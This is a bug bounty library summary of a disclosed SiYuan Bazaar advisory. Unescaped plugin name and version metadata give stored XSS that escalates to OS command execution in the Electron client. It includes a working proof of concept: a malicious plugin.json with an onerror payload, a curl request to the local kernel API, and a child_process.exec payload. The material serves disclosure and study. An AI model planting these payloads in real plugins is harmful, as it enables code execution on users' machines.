# SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution

SiYuan Bazaar renders unescaped plugin name/version into innerHTML, giving stored XSS that becomes OS command execution in the Electron client.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: Revanth011
- Disclosed: 2026-05-13
- CVE: CVE-2026-45375
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-27qc-m5gf-jv5r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-27qc-m5gf-jv5r
- Tags: area:web3 domain:desktop impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:electron tech:go technique:chained technique:source-review vuln:rce vuln:xss

**Target:** SiYuan kernel bazaar API and Electron marketplace UI
**Root cause:** sanitizePackageDisplayStrings HTML-escapes only Author/DisplayName/Description, leaving Name and Version raw; frontend substitutes them into template strings assigned to innerHTML. Electron runs with nodeIntegration true and contextIsolation false.
**Steps:**
1. Plant plugin.json with `name` containing `Markdown Utilities<img src=x onerror="alert(`SiYuan Bazaar XSS`)" style="display:none">` and `displayName: {}` in workspace data/plugins/evil-plugin/
2. Confirm kernel returns payload unescaped via POST /api/bazaar/getInstalledPlugin with `{"frontend":"desktop","keyword":""}`
3. Open Settings → Marketplace → Downloaded → Plugins; bazaar.ts:430 substitutes ${item.preferredName} into innerHTML and onerror fires
4. For Electron RCE, replace alert with `require(`child_process`).exec(`open -a Calculator`)` in the onerror handler
**How found:** Code review of the kernel sanitizer allowlist noticed Name/Version omitted; traced PreferredName fallback when displayName is empty and the online bazaar workflow's byte-identical helper, then followed the fields to innerHTML sinks in bazaar.ts.
**Exploitation:** Attacker publishes or plants a plugin manifest whose name field carries hidden HTML; victim opening the marketplace list view executes it. In the Electron desktop client the renderer has Node access, so the payload calls child_process.exec for arbitrary OS command execution under the victim's account.
**Escalation:** DOM XSS escalated to OS command execution via Electron nodeIntegration:true, contextIsolation:false, webSecurity:false; zero-click on list view, no install required.
**Insight:** When a sanitizer is an explicit allowlist of fields, enumerate every field the renderer actually interpolates — displayName fallbacks and 'kept in sync' copies of the helper in CI workflows are where the gap hides.

## Proof of concept (copied exactly from the original report)

**Malicious plugin.json manifest with XSS payload in name**

```
{
  "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "displayName": {},
  "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
  "author": "markdown-utils",
  "version": "1.4.2",
  "url": "https://github.com/markdown-utils/markdown-utilities",
  "backends": ["all"],
  "frontends": ["all"]
}
```

**curl request returning unescaped payload from kernel**

```
curl -s -b 'siyuan=<session-cookie>' \
  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
  -H 'Content-Type: application/json' \
  -d '{"frontend":"desktop","keyword":""}'
```

**Electron RCE payload using child_process.exec**

```
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"
```

